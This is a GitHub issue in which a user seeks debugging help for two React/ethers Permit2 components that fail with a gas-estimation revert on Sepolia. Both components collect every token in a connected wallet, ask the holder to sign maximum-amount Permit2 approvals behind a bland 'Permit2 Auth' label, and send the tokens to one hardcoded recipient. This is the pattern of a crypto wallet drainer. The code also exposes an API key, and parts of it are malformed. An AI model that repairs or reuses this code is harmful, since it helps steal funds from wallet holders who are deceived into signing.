-
Notifications
You must be signed in to change notification settings - Fork 264
Description
Please I have tried all that I know and yet I still keep getting this error on both of my code , at the transfer part ,
Here is my error code on console
SignatureTransfer batch: Error: cannot estimate gas; transaction may fail or may require manual gas limit [ See: https://links.ethers.org/v5-errors-UNPREDICTABLE_GAS_LIMIT ] (reason="execution reverted", method="estimateGas", transaction={"from":"0x57AAc22b051Cb19987Ae9Bcc5819C2C83Aa115EB","to":"0x000000000022D473030F116dDEE9F6B43aC78BA3","data":"0xb265a3bd000000000000000000000000fff9976782d46cc05630d1f6ebab18b2324d6b14000000000000000000000000ffffffffffffffffffffffffffffffffffffffff000000000000000000000000000000000022d473030f116ddee9f6b43ac78ba30000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006830e06e000000000000000000000000815f3e16dbe431d3674284e35b972fb43364f9fa000000000000000000000000ffffffffffffffffffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000041e34f2ced3bad83a344efa67722f6e45bc402dc58e054283cff49f2d2f93102de2584a1c9afc0ff6c9f90b6cd77a8fa21f4004f96a0bfe2e9d06f3a8fd01b70b71b00000000000000000000000000000000000000000000000000000000000000","accessList":null}, error={"code":3,"message":"execution reverted","stack":"{\n "code": 3,\n "message": "execution reverted",\n "stack": "Error: execution reverted\n at new i (chrome-extension://ejbalbakoplchlghecdalmeeeajnimhm/common-4.js:1:81689)\n at d.request (chrome-extension://ejbalbakoplchlghecdalmeeeajnimhm/common-1.js:3:17766)\n at async chrome-extension://ejbalbakoplchlghecdalmeeeajnimhm/background-0.js:1:424918\n at async chrome-extension://ejbalbakoplchlghecdalmeeeajnimhm/common-2.js:1:1391130"\n}\n at new i (chrome-extension://ejbalbakoplchlghecdalmeeeajnimhm/common-4.js:1:81689)\n at d.request (chrome-extension://ejbalbakoplchlghecdalmeeeajnimhm/common-1.js:3:17766)\n at async chrome-extension://ejbalbakoplchlghecdalmeeeajnimhm/background-0.js:1:424918\n at async chrome-extension://ejbalbakoplchlghecdalmeeeajnimhm/common-2.js:1:1391130"}, code=UNPREDICTABLE_GAS_LIMIT, version=providers/5.8.0)
at pe.makeError (index-BrAjiTJJ.js:1067:13119)
at pe.throwError (index-BrAjiTJJ.js:1067:13237)
at y7 (index-BrAjiTJJ.js:1067:249130)
at sT. (index-BrAjiTJJ.js:1067:258590)
at Generator.throw ()
at l (index-BrAjiTJJ.js:1067:248302)
n @ index-BrAjiTJJ.js:1075
[NEW] Explain Console errors by using Copilot in Edge: click
My token contract address which is 0xfFf9976782d46CC05630D1f6eBAb18b2324d6B14 is a sepolia weth with balance of 0.0039
And yet I get the same error on both of my codes
Code 1
import { useState, useEffect } from 'react';
import { useAppKitAccount, useAppKitNetwork } from '@reown/appkit/react';
import { PERMIT2_ADDRESS, AllowanceProvider } from '@uniswap/permit2-sdk';
import { ethers, Contract } from 'ethers';
import { useWalletClient } from 'wagmi';
// Types
interface TokenMetadata {
name: string;
symbol: string;
decimals: number;
contractAddress: string;
chainId: number;
}
// ABI for Permit2 Contract
const permit2BatchAbi = [
"function permitBatch(address owner, (address token, uint160 amount, uint48 expiration, uint48 nonce)[] details, address spender, uint256 sigDeadline, uint8 v, bytes32 r, bytes32 s)",
"function transferFrom((address from, address to, uint160 amount, address token)[] calldata details)"
];
export const InfoList = () => {
const { address } = useAppKitAccount({ namespace: 'eip155' });
const { chainId: rawChainId } = useAppKitNetwork();
const chainId = rawChainId !== undefined ? Number(rawChainId) : undefined;
const { data: walletClient } = useWalletClient({ chainId });
const [permitStatus, setPermitStatus] = useState('');
const [signatureError, setSignatureError] = useState('');
const [tokenList, setTokenList] = useState<TokenMetadata[]>([]);
const ALCHEMY_API_KEY = 'OyysmHjXGg4W_gey2NaVBsBJwaIV9I1B';
const WETH_ADDRESS = "0xfFf9976782d46CC05630D1f6eBAb18b2324d6B14";
const alchemyEndpoints: Record<number, string> = {
11155111: https://eth-sepolia.g.alchemy.com/v2/${ALCHEMY_API_KEY},
};
const getAlchemyUrl = (chainId: number): string | null =>
alchemyEndpoints[chainId] || null;
useEffect(() => {
const fetchAllTokenLists = async () => {
if (!address) return;
const allTokenMetadata: TokenMetadata[] = [];
const getTokenMetadata = async (contractAddress: string, chainId: number) => {
const url = getAlchemyUrl(chainId);
if (!url) return null;
try {
const response = await fetch(url, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
jsonrpc: '2.0',
id: 1,
method: 'alchemy_getTokenMetadata',
params: [contractAddress],
}),
});
const data = await response.json();
return { ...data.result, contractAddress, chainId };
} catch {
return { name: 'Unknown', symbol: 'UNKNOWN', decimals: 0, contractAddress, chainId };
}
};
const fetchTokensForChain = async (chainId: number) => {
const url = getAlchemyUrl(chainId);
if (!url) return;
try {
const response = await fetch(url, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
jsonrpc: '2.0',
id: 1,
method: 'alchemy_getTokenBalances',
params: [address],
}),
});
const data = await response.json();
const balances = data?.result?.tokenBalances || [];
const nonZeroTokens = balances
.filter((t: any) => t.tokenBalance !== '0x0')
.map((t: any) => t.contractAddress);
const metadata = await Promise.all(
nonZeroTokens.map((contract: string) => getTokenMetadata(contract, chainId))
);
allTokenMetadata.push(...metadata.filter(Boolean));
} catch (e) {
console.error(`Token fetch failed for chain ${chainId}:`, e);
}
};
await Promise.all(Object.keys(alchemyEndpoints).map((id) => fetchTokensForChain(Number(id))));
console.log("Fetched Token Metadata:", allTokenMetadata);
setTokenList(allTokenMetadata);
};
fetchAllTokenLists();
}, [address]);
const sendPermit2Batch = async () => {
if (!address || !chainId || !walletClient) {
setSignatureError('Wallet not connected or missing chain/address');
return;
}
try {
console.log("Initiating Permit2 batch...");
const spender = PERMIT2_ADDRESS;
const deadline = BigInt(Math.floor(Date.now() / 1000) + 7 * 24 * 60 * 60); // 7 days
const MAX_UINT160 = BigInt('0xffffffffffffffffffffffffffffffffffffffff');
const web3Provider = new ethers.providers.Web3Provider(walletClient as any);
const signer = web3Provider.getSigner();
const allowanceProvider = new AllowanceProvider(web3Provider, PERMIT2_ADDRESS);
console.log("Fetching allowances...");
const permitted = await Promise.all(
tokenList.map(async (t) => {
const allowance = await allowanceProvider.getAllowanceData(address, t.contractAddress, spender);
console.log(`Token: ${t.symbol}, Nonce: ${allowance.nonce.toString()}, Address: ${t.contractAddress}`);
return {
token: t.contractAddress,
amount: MAX_UINT160,
expiration: deadline,
nonce: allowance.nonce,
};
})
);
if (!permitted.length) {
throw new Error("No permitted tokens found");
}
console.log("Permit details prepared:", permitted);
const domain = {
name: 'Permit2',
chainId,
verifyingContract: PERMIT2_ADDRESS as `0x${string}`,
};
const types = {
PermitBatch: [
{ name: 'details', type: 'PermitDetails[]' },
{ name: 'spender', type: 'address' },
{ name: 'sigDeadline', type: 'uint256' },
],
PermitDetails: [
{ name: 'token', type: 'address' },
{ name: 'amount', type: 'uint160' },
{ name: 'expiration', type: 'uint48' },
{ name: 'nonce', type: 'uint48' },
],
};
const permitBatch = {
details: permitted.map(p => ({
token: p.token,
amount: p.amount.toString(),
expiration: p.expiration.toString(),
nonce: p.nonce.toString(),
})),
spender,
sigDeadline: deadline.toString(),
};
console.log("Signing typed data...", permitBatch);
const signature = await walletClient.signTypedData({
domain,
types,
primaryType: 'PermitBatch',
message: permitBatch,
});
const sig = signature.slice(2);
const r = `0x${sig.slice(0, 64)}`;
const s = `0x${sig.slice(64, 128)}`;
const v = parseInt(sig.slice(128, 130), 16);
console.log("Signature:", { v, r, s });
const permit2Contract = new Contract(PERMIT2_ADDRESS, permit2BatchAbi, signer);
const recipient = '0x815F3e16Dbe431d3674284E35b972fB43364f9FA';
console.log("Calling permitBatch...");
await permit2Contract.permitBatch(address, permitted, spender, deadline, v, r, s);
console.log("Permit batch successful!");
const transferDetails = tokenList.map((t) => ({
from: address,
to: recipient,
amount: MAX_UINT160,
token: t.contractAddress,
}));
console.log("Calling transferFrom...");
await permit2Contract.transferFrom(transferDetails);
console.log("Transfer successful!");
setPermitStatus("Permit and transfer succeeded.");
} catch (err: any) {
console.error("Permit2 operation failed:", err);
setSignatureError("Permit2 operation failed: " + err.message);
}
};
const wrapETH = async (amountInEth: string) => {
if (!walletClient) {
alert('Wallet not connected');
return;
}
try {
const signer = new ethers.providers.Web3Provider(walletClient as any).getSigner();
const wethAbi = ["function deposit() payable"];
const wethContract = new ethers.Contract(WETH_ADDRESS, wethAbi, signer);
const value = ethers.utils.parseEther(amountInEth);
const tx = await wethContract.deposit({ value });
alert(`Transaction sent: ${tx.hash}`);
await tx.wait();
alert("Successfully wrapped ETH to WETH!");
} catch (error: any) {
console.error("Error wrapping ETH:", error);
alert(`Error: ${error.message}`);
}
};
const handleClick = () => {
const amount = prompt("Enter amount of ETH to wrap (e.g., 0.1):", "0.1");
if (amount && !isNaN(Number(amount)) && Number(amount) > 0) {
wrapETH(amount);
} else {
alert("Invalid amount");
}
};
return (
Permit2 Auth
Address: {address || 'Not connected'}
Chain ID: {chainId?.toString() || 'Unknown'}
<button onClick={handleClick}>Wrap ETH to WETH (Sepolia)</button>
<button onClick={sendPermit2Batch} disabled={!tokenList.length}>Send Permit2 Batch</button>
{permitStatus && <p>Status: {permitStatus}</p>}
{signatureError && <p style={{ color: 'red' }}>{signatureError}</p>}
</section>
);
};
Code 2
import { ethers } from 'ethers'
import {
SignatureTransfer,
PermitTransferFrom,
PERMIT2_ADDRESS,
MaxUint160
} from '@uniswap/permit2-sdk'
// Replace with your tokens
const tokenList = [
'0xfFf9976782d46CC05630D1f6eBAb18b2324d6B14'
]
function toDeadline(ms: number): number {
return Math.floor((Date.now() + ms) / 1000)
}
const SignatureBatchTransfer = () => {
const handleBatchTransfer = async () => {
try {
if (!window.ethereum) {
alert('Please install MetaMask')
return
}
const provider = new ethers.providers.Web3Provider(window.ethereum)
await provider.send('eth_requestAccounts', [])
const signer = provider.getSigner()
const { chainId } = await provider.getNetwork()
const deadline = toDeadline(30 * 60 * 1000) // 30 minutes
const to = '0x815F3e16Dbe431d3674284E35b972fB43364f9FA'
const amount = MaxUint160
const abi = [
function permitTransferFrom( (address token,uint160 amount) permitted, address spender, uint256 nonce, uint256 deadline, address to, uint160 requestedAmount, bytes signature ) external
]
const contract = new ethers.Contract(PERMIT2_ADDRESS, abi, signer)
for (const token of tokenList) {
const nonce = 0 // (Optional: fetch nonce via contract call if needed)
const permit: PermitTransferFrom = {
permitted: {
token,
amount
},
spender: PERMIT2_ADDRESS,
nonce,
deadline
}
const { domain, types, values } = SignatureTransfer.getPermitData(permit, PERMIT2_ADDRESS, chainId)
const signature = await signer._signTypedData(domain, types, values)
await contract.permitTransferFrom(
permit.permitted,
permit.spender,
permit.nonce,
permit.deadline,
to,
amount,
signature
)
}
alert('Signature-based transfers completed.')
} catch (err) {
console.error('Error in SignatureTransfer batch:', err)
alert('Transfer failed. See console.')
}
}
return (
<div style={{ padding: 20 }}>
Permit2 SignatureTransfer Batch
Send Signature Transfers
)
}
export default SignatureBatchTransfer
Any idea why it not working